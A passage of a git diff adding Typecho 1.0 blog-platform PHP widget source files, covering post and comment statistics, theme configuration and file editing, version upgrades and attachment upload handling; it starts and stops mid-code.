->setHeader('User-Agent', $this->options->generator) + ->setTimeout(3) + ->setData($input) + ->setIp('127.0.0.1') + ->send(Typecho_Common::url('/action/service', $this->options->index)); + + } catch (Typecho_Http_Client_Exception $e) { + return; + } + } + } + + /** + * 异步请求入口 + * + * @access public + * @return void + */ + public function action() + { + $this->on($this->request->is('do=ping'))->sendPingHandle(); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Stat.php b/Typecho/1.0/php-fpm/src/var/Widget/Stat.php new file mode 100755 index 000000000..de3cc506b --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Stat.php @@ -0,0 +1,367 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 全局统计 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 全局统计组件 + * + * @link typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Stat extends Typecho_Widget +{ + /** + * 用户对象 + * + * @access protected + * @var Widget_User + */ + protected $user; + + /** + * 数据库对象 + * + * @access protected + * @var Typecho_Db + */ + protected $db; + + /** + * 构造函数,初始化组件 + * + * @access public + * @param mixed $request request对象 + * @param mixed $response response对象 + * @param mixed $params 参数列表 + * @return void + */ + public function __construct($request, $response, $params = NULL) + { + parent::__construct($request, $response, $params); + + /** 初始化数据库 */ + $this->db = Typecho_Db::get(); + + /** 初始化常用组件 */ + $this->user = $this->widget('Widget_User'); + } + + /** + * 获取已发布的文章数目 + * + * @access protected + * @return integer + */ + protected function ___publishedPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'publish'))->num; + } + + /** + * 获取待审核的文章数目 + * + * @access protected + * @return integer + */ + protected function ___waitingPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'waiting'))->num; + } + + /** + * 获取草稿文章数目 + * + * @access protected + * @return integer + */ + protected function ___draftPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'draft'))->num; + } + + /** + * 获取当前用户已发布的文章数目 + * + * @access protected + * @return integer + */ + protected function ___myPublishedPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.authorId = ?', $this->user->uid))->num; + } + + /** + * 获取当前用户待审核文章数目 + * + * @access protected + * @return integer + */ + protected function ___myWaitingPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'waiting') + ->where('table.contents.authorId = ?', $this->user->uid))->num; + } + + /** + * 获取当前用户草稿文章数目 + * + * @access protected + * @return integer + */ + protected function ___myDraftPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'draft') + ->where('table.contents.authorId = ?', $this->user->uid))->num; + } + + /** + * 获取当前用户已发布的文章数目 + * + * @access protected + * @return integer + */ + protected function ___currentPublishedPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'publish') + ->where('table.contents.authorId = ?', $this->request->filter('int')->uid))->num; + } + + /** + * 获取当前用户待审核文章数目 + * + * @access protected + * @return integer + */ + protected function ___currentWaitingPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'waiting') + ->where('table.contents.authorId = ?', $this->request->filter('int')->uid))->num; + } + + /** + * 获取当前用户草稿文章数目 + * + * @access protected + * @return integer + */ + protected function ___currentDraftPostsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'post') + ->where('table.contents.status = ?', 'draft') + ->where('table.contents.authorId = ?', $this->request->filter('int')->uid))->num; + } + + /** + * 获取已发布页面数目 + * + * @access protected + * @return integer + */ + protected function ___publishedPagesNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'page') + ->where('table.contents.status = ?', 'publish'))->num; + } + + /** + * 获取草稿页面数目 + * + * @access protected + * @return integer + */ + protected function ___draftPagesNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(cid)' => 'num')) + ->from('table.contents') + ->where('table.contents.type = ?', 'page') + ->where('table.contents.status = ?', 'draft'))->num; + } + + /** + * 获取当前显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___publishedCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'approved'))->num; + } + + /** + * 获取当前待审核的评论数目 + * + * @access protected + * @return integer + */ + protected function ___waitingCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'waiting'))->num; + } + + /** + * 获取当前垃圾评论数目 + * + * @access protected + * @return integer + */ + protected function ___spamCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'spam'))->num; + } + + /** + * 获取当前用户显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___myPublishedCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'approved') + ->where('table.comments.ownerId = ?', $this->user->uid))->num; + } + + /** + * 获取当前用户显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___myWaitingCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'waiting') + ->where('table.comments.ownerId = ?', $this->user->uid))->num; + } + + /** + * 获取当前用户显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___mySpamCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'spam') + ->where('table.comments.ownerId = ?', $this->user->uid))->num; + } + + /** + * 获取当前文章的评论数目 + * + * @access protected + * @return integer + */ + protected function ___currentCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.cid = ?', $this->request->filter('int')->cid))->num; + } + + /** + * 获取当前文章显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___currentPublishedCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'approved') + ->where('table.comments.cid = ?', $this->request->filter('int')->cid))->num; + } + + /** + * 获取当前文章显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___currentWaitingCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'waiting') + ->where('table.comments.cid = ?', $this->request->filter('int')->cid))->num; + } + + /** + * 获取当前文章显示的评论数目 + * + * @access protected + * @return integer + */ + protected function ___currentSpamCommentsNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(coid)' => 'num')) + ->from('table.comments') + ->where('table.comments.status = ?', 'spam') + ->where('table.comments.cid = ?', $this->request->filter('int')->cid))->num; + } + + /** + * 获取分类数目 + * + * @access protected + * @return integer + */ + protected function ___categoriesNum() + { + return $this->db->fetchObject($this->db->select(array('COUNT(mid)' => 'num')) + ->from('table.metas') + ->where('table.metas.type = ?', 'category'))->num; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Themes/Config.php b/Typecho/1.0/php-fpm/src/var/Widget/Themes/Config.php new file mode 100755 index 000000000..00f9761cb --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Themes/Config.php @@ -0,0 +1,84 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * Typecho Blog Platform + * + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 皮肤配置组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Themes_Config extends Widget_Abstract_Options +{ + /** + * 绑定动作 + * + * @access public + * @return void + * @throws Typecho_Widget_Exception + */ + public function execute() + { + $this->user->pass('administrator'); + + if (!self::isExists()) { + throw new Typecho_Widget_Exception(_t('外观配置功能不存在'), 404); + } + } + + /** + * 配置功能是否存在 + * + * @access public + * @return boolean + */ + public static function isExists() + { + $options = Typecho_Widget::widget('Widget_Options'); + $configFile = $options->themeFile($options->theme, 'functions.php'); + + if (file_exists($configFile)) { + require_once $configFile; + + if (function_exists('themeConfig')) { + return true; + } + } + + return false; + } + + /** + * 配置外观 + * + * @access public + * @return Typecho_Widget_Helper_Form + */ + public function config() + { + $form = new Typecho_Widget_Helper_Form($this->security->getIndex('/action/themes-edit?config'), + Typecho_Widget_Helper_Form::POST_METHOD); + themeConfig($form); + $inputs = $form->getInputs(); + + if (!empty($inputs)) { + foreach ($inputs as $key => $val) { + $form->getInput($key)->value($this->options->{$key}); + } + } + + $submit = new Typecho_Widget_Helper_Form_Element_Submit(NULL, NULL, _t('保存设置')); + $submit->input->setAttribute('class', 'btn primary'); + $form->addItem($submit); + return $form; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Themes/Edit.php b/Typecho/1.0/php-fpm/src/var/Widget/Themes/Edit.php new file mode 100755 index 000000000..17c116440 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Themes/Edit.php @@ -0,0 +1,179 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 编辑风格 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 编辑风格组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Themes_Edit extends Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 更换外观 + * + * @access public + * @param string $theme 外观名称 + * @return void + * @throws Typecho_Widget_Exception + */ + public function changeTheme($theme) + { + $theme = trim($theme, './'); + if (is_dir($this->options->themeFile($theme))) { + /** 删除原外观设置信息 */ + $this->delete($this->db->sql()->where('name = ?', 'theme:' . $this->options->theme)); + + $this->update(array('value' => $theme), $this->db->sql()->where('name = ?', 'theme')); + + /** 解除首页关联 */ + if (0 === strpos($this->options->frontPage, 'file:')) { + $this->update(array('value' => 'recent'), $this->db->sql()->where('name = ?', 'frontPage')); + } + + $configFile = $this->options->themeFile($theme, 'functions.php'); + + if (file_exists($configFile)) { + require_once $configFile; + + if (function_exists('themeConfig')) { + $form = new Typecho_Widget_Helper_Form(); + themeConfig($form); + $options = $form->getValues(); + + if ($options && !$this->configHandle($options, true)) { + $this->insert(array( + 'name' => 'theme:' . $theme, + 'value' => serialize($options), + 'user' => 0 + )); + } + } + } + + $this->widget('Widget_Notice')->highlight('theme-' . $theme); + $this->widget('Widget_Notice')->set(_t("外观已经改变"), 'success'); + $this->response->goBack(); + } else { + throw new Typecho_Widget_Exception(_t('您选择的风格不存在')); + } + } + + /** + * 编辑外观文件 + * + * @access public + * @param string $theme 外观名称 + * @param string $file 文件名 + * @return void + * @throws Typecho_Widget_Exception + */ + public function editThemeFile($theme, $file) + { + $path = $this->options->themeFile($theme, $file); + + if (file_exists($path) && is_writeable($path) && !Typecho_Common::isAppEngine() + && (!defined('__TYPECHO_THEME_WRITEABLE__') || __TYPECHO_THEME_WRITEABLE__)) { + $handle = fopen($path, 'wb'); + if ($handle && fwrite($handle, $this->request->content)) { + fclose($handle); + $this->widget('Widget_Notice')->set(_t("文件 %s 的更改已经保存", $file), 'success'); + } else { + $this->widget('Widget_Notice')->set(_t("文件 %s 无法被写入", $file), 'error'); + } + $this->response->goBack(); + } else { + throw new Typecho_Widget_Exception(_t('您编辑的文件不存在')); + } + } + + /** + * 配置外观 + * + * @access public + * @param string $theme 外观名 + * @return void + */ + public function config($theme) + { + // 已经载入了外观函数 + $form = $this->widget('Widget_Themes_Config')->config(); + + /** 验证表单 */ + if ($form->validate()) { + $this->response->goBack(); + } + + $settings = $form->getAllRequest(); + + if (!$this->configHandle($settings, false)) { + if ($this->options->__get('theme:' . $theme)) { + $this->update(array('value' => serialize($settings)), + $this->db->sql()->where('name = ?', 'theme:' . $theme)); + } else { + $this->insert(array( + 'name' => 'theme:' . $theme, + 'value' => serialize($settings), + 'user' => 0 + )); + } + } + + /** 设置高亮 */ + $this->widget('Widget_Notice')->highlight('theme-' . $theme); + + /** 提示信息 */ + $this->widget('Widget_Notice')->set(_t("外观设置已经保存"), 'success'); + + /** 转向原页 */ + $this->response->redirect(Typecho_Common::url('options-theme.php', $this->options->adminUrl)); + } + + /** + * 用自有函数处理配置信息 + * + * @access public + * @param array $settings 配置值 + * @param boolean $isInit 是否为初始化 + * @return boolean + */ + public function configHandle(array $settings, $isInit) + { + if (function_exists('themeConfigHandle')) { + themeConfigHandle($settings, $isInit); + return true; + } + + return false; + } + + /** + * 绑定动作 + * + * @access public + * @return void + */ + public function action() + { + /** 需要管理员权限 */ + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->is('change'))->changeTheme($this->request->filter('slug')->change); + $this->on($this->request->is('edit&theme')) + ->editThemeFile($this->request->filter('slug')->theme, $this->request->edit); + $this->on($this->request->is('config'))->config($this->options->theme); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Themes/Files.php b/Typecho/1.0/php-fpm/src/var/Widget/Themes/Files.php new file mode 100755 index 000000000..99db3b4e4 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Themes/Files.php @@ -0,0 +1,136 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 风格文件列表 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 风格文件列表组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Themes_Files extends Typecho_Widget +{ + /** + * 当前风格 + * + * @access private + * @var string + */ + private $_currentTheme; + + /** + * 当前文件 + * + * @access private + * @var string + */ + private $_currentFile; + + /** + * 执行函数 + * + * @access public + * @return void + * @throws Typecho_Widget_Exception + */ + public function execute() + { + /** 管理员权限 */ + $this->widget('Widget_User')->pass('administrator'); + $this->_currentTheme = $this->request->filter('slug')->get('theme', $this->widget('Widget_Options')->theme); + + if (preg_match("/^([_0-9a-z-\.\ ])+$/i", $this->_currentTheme) + && is_dir($dir = $this->widget('Widget_Options')->themeFile($this->_currentTheme)) + && (!defined('__TYPECHO_THEME_WRITEABLE__') || __TYPECHO_THEME_WRITEABLE__)) { + $files = glob($dir . '/*.{php,PHP,js,JS,css,CSS,vbs,VBS}', GLOB_BRACE); + $this->_currentFile = $this->request->get('file', 'index.php'); + + if (preg_match("/^([_0-9a-z-\.\ ])+$/i", $this->_currentFile) + && file_exists($dir . '/' . $this->_currentFile)) { + foreach ($files as $file) { + if (file_exists($file)) { + $file = basename($file); + $this->push(array( + 'file' => $file, + 'theme' => $this->_currentTheme, + 'current' => ($file == $this->_currentFile) + )); + } + } + + return; + } + } + + throw new Typecho_Widget_Exception('风格文件不存在', 404); + } + + /** + * 获取菜单标题 + * + * @access public + * @return string + */ + public function getMenuTitle() + { + return _t('编辑文件 %s', $this->_currentFile); + } + + /** + * 获取文件内容 + * + * @access public + * @return string + */ + public function currentContent() + { + return htmlspecialchars(file_get_contents($this->widget('Widget_Options') + ->themeFile($this->_currentTheme, $this->_currentFile))); + } + + /** + * 获取文件是否可读 + * + * @access public + * @return string + */ + public function currentIsWriteable() + { + return is_writeable($this->widget('Widget_Options') + ->themeFile($this->_currentTheme, $this->_currentFile)) && !Typecho_Common::isAppEngine() + && (!defined('__TYPECHO_THEME_WRITEABLE__') || __TYPECHO_THEME_WRITEABLE__); + } + + /** + * 获取当前文件 + * + * @access public + * @return string + */ + public function currentFile() + { + return $this->_currentFile; + } + + /** + * 获取当前风格 + * + * @access public + * @return string + */ + public function currentTheme() + { + return $this->_currentTheme; + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Themes/List.php b/Typecho/1.0/php-fpm/src/var/Widget/Themes/List.php new file mode 100755 index 000000000..e826b03c6 --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Themes/List.php @@ -0,0 +1,88 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 风格列表 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 风格列表组件 + * + * @author qining + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + */ +class Widget_Themes_List extends Typecho_Widget +{ + /** + * @return array + */ + protected function getThemes() + { + return glob(__TYPECHO_ROOT_DIR__ . __TYPECHO_THEME_DIR__ . '/*'); + } + + /** + * get theme + * + * @param string $theme + * @param mixed $index + * @return string + */ + protected function getTheme($theme, $index) + { + return basename($theme); + } + + /** + * 执行函数 + * + * @access public + * @return void + */ + public function execute() + { + $themes = $this->getThemes(); + + if ($themes) { + $options = $this->widget('Widget_Options'); + $siteUrl = $options->siteUrl; + $adminUrl = $options->adminUrl; + $activated = 0; + $result = array(); + + foreach ($themes as $key => $theme) { + $themeFile = $theme . '/index.php'; + if (file_exists($themeFile)) { + $info = Typecho_Plugin::parseInfo($themeFile); + $info['name'] = $this->getTheme($theme, $key); + + if ($info['activated'] = ($options->theme == $info['name'])) { + $activated = $key; + } + + $screen = glob($theme . '/screen*.{jpg,png,gif,bmp,jpeg,JPG,PNG,GIF,BMG,JPEG}', GLOB_BRACE); + if ($screen) { + $info['screen'] = $options->themeUrl(basename(current($screen)), $info['name']); + } else { + $info['screen'] = Typecho_Common::url('noscreen.png', $options->adminStaticUrl('img')); + } + + $result[$key] = $info; + } + } + + $clone = $result[$activated]; + unset($result[$activated]); + array_unshift($result, $clone); + array_filter($result, array($this, 'push')); + } + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Upgrade.php b/Typecho/1.0/php-fpm/src/var/Widget/Upgrade.php new file mode 100755 index 000000000..5373863ba --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Upgrade.php @@ -0,0 +1,125 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 升级动作 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 升级组件 + * + * @author qining + * @category typecho + * @package Widget + */ +class Widget_Upgrade extends Widget_Abstract_Options implements Widget_Interface_Do +{ + /** + * 当前内部版本号 + * + * @access private + * @var string + */ + private $_currentVersion; + + /** + * 对升级包按版本进行排序 + * + * @access public + * @param string $a a版本 + * @param string $b b版本 + * @return integer + */ + public function sortPackage($a, $b) + { + list ($ver, $rev) = explode('r', $a); + $a = str_replace('_', '.', $rev); + + list ($ver, $rev) = explode('r', $b); + $b = str_replace('_', '.', $rev); + + return version_compare($a, $b, '>') ? 1 : -1; + } + + /** + * 过滤低版本的升级包 + * + * @access public + * @param string $version 版本号 + * @return boolean + */ + public function filterPackage($version) + { + list ($ver, $rev) = explode('r', $version); + $rev = str_replace('_', '.', $rev); + return version_compare($rev, $this->_currentVersion, '>'); + } + + /** + * 执行升级程序 + * + * @access public + * @return void + */ + public function upgrade() + { + list($prefix, $this->_currentVersion) = explode('/', $this->options->generator); + $packages = get_class_methods('Upgrade'); + $packages = array_filter($packages, array($this, 'filterPackage')); + usort($packages, array($this, 'sortPackage')); + + $message = array(); + + foreach ($packages as $package) { + $options = $this->widget('Widget_Options@' . $package); + + /** 执行升级脚本 */ + try { + $result = call_user_func(array('Upgrade', $package), $this->db, $options); + if (!empty($result)) { + $message[] = $result; + } + } catch (Typecho_Exception $e) { + $this->widget('Widget_Notice')->set($e->getMessage(), 'error'); + $this->response->goBack(); + return; + } + + list ($ver, $rev) = explode('r', $package); + $ver = substr(str_replace('_', '.', $ver), 1); + $rev = str_replace('_', '.', $rev); + + /** 更新版本号 */ + $this->update(array('value' => 'Typecho ' . $ver . '/' . $rev), + $this->db->sql()->where('name = ?', 'generator')); + + $this->destory('Widget_Options@' . $package); + } + + /** 更新版本号 */ + $this->update(array('value' => 'Typecho ' . Typecho_Common::VERSION), + $this->db->sql()->where('name = ?', 'generator')); + + $this->widget('Widget_Notice')->set(empty($message) ? _t("升级已经完成") : $message, + empty($message) ? 'success' : 'notice'); + } + + /** + * 初始化函数 + * + * @access public + * @return void + */ + public function action() + { + $this->user->pass('administrator'); + $this->security->protect(); + $this->on($this->request->isPost())->upgrade(); + $this->response->redirect($this->options->adminUrl); + } +} diff --git a/Typecho/1.0/php-fpm/src/var/Widget/Upload.php b/Typecho/1.0/php-fpm/src/var/Widget/Upload.php new file mode 100755 index 000000000..2927dca2d --- /dev/null +++ b/Typecho/1.0/php-fpm/src/var/Widget/Upload.php @@ -0,0 +1,432 @@ +<?php +if (!defined('__TYPECHO_ROOT_DIR__')) exit; +/** + * 上传动作 + * + * @category typecho + * @package Widget + * @copyright Copyright (c) 2008 Typecho team (http://www.typecho.org) + * @license GNU General Public License 2.0 + * @version $Id$ + */ + +/** + * 上传组件 + * + * @author qining + * @category typecho + * @package Widget + */ +class Widget_Upload extends Widget_Abstract_Contents implements Widget_Interface_Do +{ + //上传文件目录 + const UPLOAD_DIR = '/usr/uploads'; + + /** + * 创建上传路径 + * + * @access private + * @param string $path 路径 + * @return boolean + */ + private static function makeUploadDir($path) + { + $path = preg_replace("/\\\+/", '/', $path); + $current = rtrim($path, '/'); + $last = $current; + + while (!is_dir($current) && false !== strpos($path, '/')) { + $last = $current; + $current = dirname($current); + } + + if ($last == $current) { + return true; + } + + if (!@mkdir($last)) { + return false; + } + + $stat = @stat($last); + $perms = $stat['mode'] & 0007777; + @chmod($last, $perms); + + return self::makeUploadDir($path); + } + + /** + * 获取安全的文件名 + * + * @param string $name + * @static + * @access private + * @return string + */ + private static function getSafeName(&$name) + { + $name = str_replace(array('"', '<', '>'), '', $name); + $name = str_replace('\\', '/', $name); + $name = false === strpos($name, '/') ? ('a' . $name) : str_replace('/', '/a', $name); + $info = pathinfo($name); + $name = substr($info['basename'], 1); + + return isset($info['extension']) ? $info['extension'] : ''; + } + + /** + * 上传文件处理函数,如果需要实现自己的文件哈希或者特殊的文件系统,请在options表里把uploadHandle改成自己的函数 + * + * @access public + * @param array $file 上传的文件 + * @return mixed + */ + public static function uploadHandle($file) + { + if (empty($file['name'])) { + return false; + } + + $result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasUploaded)->uploadHandle($file); + if ($hasUploaded) { + return $result; + } + + $ext = self::getSafeName($file['name']); + + if (!self::checkFileType($ext) || Typecho_Common::isAppEngine()) { + return false; + } + + $options = Typecho_Widget::widget('Widget_Options'); + $date = new Typecho_Date($options->gmtTime); + $path = Typecho_Common::url(defined('__TYPECHO_UPLOAD_DIR__') ? __TYPECHO_UPLOAD_DIR__ : self::UPLOAD_DIR, + defined('__TYPECHO_UPLOAD_ROOT_DIR__') ? __TYPECHO_UPLOAD_ROOT_DIR__ : __TYPECHO_ROOT_DIR__) + . '/' . $date->year . '/' . $date->month; + + //创建上传目录 + if (!is_dir($path)) { + if (!self::makeUploadDir($path)) { + return false; + } + } + + //获取文件名 + $fileName = sprintf('%u', crc32(uniqid())) . '.' . $ext; + $path = $path . '/' . $fileName; + + if (isset($file['tmp_name'])) { + + //移动上传文件 + if (!@move_uploaded_file($file['tmp_name'], $path)) { + return false; + } + } else if (isset($file['bytes'])) { + + //直接写入文件 + if (!file_put_contents($path, $file['bytes'])) { + return false; + } + } else { + return false; + } + + if (!isset($file['size'])) { + $file['size'] = filesize($path); + } + + //返回相对存储路径 + return array( + 'name' => $file['name'], + 'path' => (defined('__TYPECHO_UPLOAD_DIR__') ? __TYPECHO_UPLOAD_DIR__ : self::UPLOAD_DIR) + . '/' . $date->year . '/' . $date->month . '/' . $fileName, + 'size' => $file['size'], + 'type' => $ext, + 'mime' => Typecho_Common::mimeContentType($path) + ); + } + + /** + * 修改文件处理函数,如果需要实现自己的文件哈希或者特殊的文件系统,请在options表里把modifyHandle改成自己的函数 + * + * @access public + * @param array $content 老文件 + * @param array $file 新上传的文件 + * @return mixed + */ + public static function modifyHandle($content, $file) + { + if (empty($file['name'])) { + return false; + } + + $result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasModified)->modifyHandle($content, $file); + if ($hasModified) { + return $result; + } + + $ext = self::getSafeName($file['name']); + + if ($content['attachment']->type != $ext || Typecho_Common::isAppEngine()) { + return false; + } + + $path = Typecho_Common::url($content['attachment']->path, + defined('__TYPECHO_UPLOAD_ROOT_DIR__') ? __TYPECHO_UPLOAD_ROOT_DIR__ : __TYPECHO_ROOT_DIR__); + $dir = dirname($path); + + //创建上传目录 + if (!is_dir($dir)) { + if (!self::makeUploadDir($dir)) { + return false; + } + } + + if (isset($file['tmp_name'])) { + + @unlink($path); + + //移动上传文件 + if (!@move_uploaded_file($file['tmp_name'], $path)) { + return false; + } + } else if (isset($file['bytes'])) { + + @unlink($path); + + //直接写入文件 + if (!file_put_contents($path, $file['bytes'])) { + return false; + } + } else { + return false; + } + + if (!isset($file['size'])) { + $file['size'] = filesize($path); + } + + //返回相对存储路径 + return array( + 'name' => $content['attachment']->name, + 'path' => $content['attachment']->path, + 'size' => $file['size'], + 'type' => $content['attachment']->type, + 'mime' => $content['attachment']->mime + ); + } + + /** + * 删除文件 + * + * @access public + * @param array $content 文件相关信息 + * @return string + */ + public static function deleteHandle(array $content) + { + $result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasDeleted)->deleteHandle($content); + if ($hasDeleted) { + return $result; + } + + return !Typecho_Common::isAppEngine() + && @unlink(__TYPECHO_ROOT_DIR__ . '/' . $content['attachment']->path); + } + + /** + * 获取实际文件绝对访问路径 + * + * @access public + * @param array $content 文件相关信息 + * @return string + */ + public static function attachmentHandle(array $content) + { + $result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasPlugged)->attachmentHandle($content); + if ($hasPlugged) { + return $result; + } + + $options = Typecho_Widget::widget('Widget_Options'); + return Typecho_Common::url($content['attachment']->path, + defined('__TYPECHO_UPLOAD_URL__') ? __TYPECHO_UPLOAD_URL__ : $options->siteUrl); + } + + /** + * 获取实际文件数据 + * + * @access public + * @param array $content + * @return string + */ + public static function attachmentDataHandle(array $content) + { + $result = Typecho_Plugin::factory('Widget_Upload')->trigger($hasPlugged)->attachmentDataHandle($content); + if ($hasPlugged) { + return $result; + } + + return file_get_contents(Typecho_Common::url($content['attachment']->path, + defined('__TYPECHO_UPLOAD_ROOT_DIR__') ? __TYPECHO_UPLOAD_ROOT_DIR__ : __TYPECHO_ROOT_DIR__)); + } + + /** + * 检查文件名 + * + * @access private + * @param string $ext 扩展名 + * @return boolean + */ + public static function checkFileType($ext) + { + $options = Typecho_Widget::widget('Widget_Options'); + return in_array($ext, $options->allowedAttachmentTypes); + } + + /** + * 执行升级程序 + * + * @access public + * @return void + */ + public function upload() + { + if (!empty($_FILES)) { + $file = array_pop($_FILES); + if (0 == $file['error'] && is_uploaded_file($file['tmp_name'])) { + // xhr的send无法支持utf8 + if ($this->request->isAjax()) { + $file['name'] = urldecode($file['name']); + } + $result = self::uploadHandle($file); + + if (false !== $result) { + $this->pluginHandle()->beforeUpload($result); + + $struct = array( + 'title' => $result['name'], + 'slug' => $result['name'], + 'type' => 'attachment', + 'status' => 'publish', + 'text' => serialize($result), + 'allowComment' => 1, + 'allowPing' => 0, + 'allowFeed' => 1 + ); + + if (isset($this->request->cid)) { + $cid = $this->request->filter('int')->cid; + + if ($this->isWriteable($this->db->sql()->where('cid = ?', $cid))) { + $struct['parent'] = $cid; + } + } + + $insertId = $this->insert($struct); + + $this->db->fetchRow($this->select()->where('table.contents.cid = ?', $insertId) + ->where('table.contents.type = ?', 'attachment'), array($this, 'push')); + + /** 增加插件接口 */ + $this->pluginHandle()->upload($this); + + $this->response->throwJson(array($this->attachment->url, array( + 'cid' => $insertId, + 'title' => $this->attachment->name, + 'type' => $this->attachment->type, + 'size' => $this->attachment->size, + 'bytes' => number_format(ceil($this->attachment->size / 1024)) . ' Kb', + 'isImage' => $this->attachment->isImage, + 'url' => $this->attachment->url, + 'permalink' => $this->permalink + ))); + + } + } + } + + $this->response->throwJson(false); + } + + /** + * 执行升级程序 + * + * @access public + * @return void + */ + public function modify() + { + if (!empty($_FILES)) { + 